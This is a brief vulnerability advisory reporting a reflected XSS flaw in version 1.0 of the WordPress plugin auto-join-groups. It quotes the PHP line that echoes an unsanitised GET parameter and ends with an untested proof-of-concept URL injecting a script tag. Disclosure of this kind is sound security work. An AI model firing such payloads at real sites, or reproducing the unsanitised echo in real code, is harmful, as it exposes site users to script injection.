Advisory #: 790
Title: Reflected XSS in wordpress plugin auto-join-groups v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/auto-join-groups
Downloads: 3431
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: auto-join-groups
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./auto-join-groups/bn-auto-join-group.php: 86: <input type="hidden" name="field_id" value="<?php echo $_GET['field_id']; ?>"> The variable field_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./auto-join-groups/bn-auto-join-group.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/auto-join-groups/bn-auto-join-group.php?field_id="><script>alert(1);</script><"